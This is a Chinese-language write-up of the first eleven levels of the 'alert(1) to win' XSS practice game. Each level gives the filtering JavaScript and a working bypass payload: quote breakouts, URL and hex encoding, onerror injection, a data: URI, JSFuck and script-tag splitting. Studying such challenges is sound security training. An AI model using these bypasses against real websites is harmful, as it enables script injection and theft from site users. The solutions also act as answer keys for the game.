alert(1) TO WIN 第一部分

XSS好难啊~~

简介

alert(1) to win 是一个在线XSS练习平台,个人感觉挺有意思的,本篇文章记录的是1-11题

1.Warmup

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

代码很简单,且没做过滤,那么只需要闭合掉双引号和括号即可

1
2
3
");alert(1)//
还有另一种方式可以减少一个字符输入
");alert(1,"

2.Adobe

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

这里是在第一题基础上把双引号给加上一个"\"转义,那么只需要再转义符号前加一个转义符号即可绕过

1
\");alert(1)//

3.Json

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

从本题以后大部分会对引号和反斜杠进行转义

这题的话可以直接把script结束掉,<script> 标签优先级要高于引号

1
<script>alert(1)</script>

4.JavaScript

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

本题在于URL编码,只要将"编码成为%22即可通过

1
%22);alert(1)//

5.MarkDown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

这一题把<"都进行了HTML实体编码,同时将http:....转换为a标签,把[[a|b]]中的a转换为img标签的src而b则是alt,解开这道题的关键在于img和a标签合在一起共出现了6个双引号

所以构造

1
[[a|http://onerror=alert(1)//]]

得到的结果为

1
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

6.DOM

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

这一题的意思是将输入数据按#分割,第一份作为创建类型,第二份拼接到第一份中间,这里可以采用createComment也就是注释,来进行alert

1
Comment#><script>alert(1)</script>

7.CallBack

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

还是用#进行分割,第一段可以出现',而且没有对'进行处理

所以这里可以用

1
`#`;alert(1)//

构造后的到的结果是

1
<script>'({"userdata":"';alert(1)//"})</script>

8.Skandia

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

此题会将所有输入的字母转换为大写,这里可以采用data伪协议或者是JsFuck进行绕过

data:

1
</script><script src=data:text/html,%61%6c%65%72%74(1)>

JsFuck:

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

9.Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

这题将<>&'"全部转换为了html实体编码,不过可以通过十六进制的方法进行绕过

1
\x3cimg src=@ onerror=alert(1) \x3e

其实\x3c为< \x3e为>

10.Json2

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

在一的基础上做了一个替换,把</replace>替换为空,可以采用</sc</scriptript>的形式绕过

1
</sc</scriptript><script>alert(1);//

11.CallBack2

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

相较于1,这里将斜杠和反斜杠进行转义,所以无法用</script>结束script,也不能用//进行注释,不过可以用<!–,使JavaScript终止

1
'#';alert(1)<!--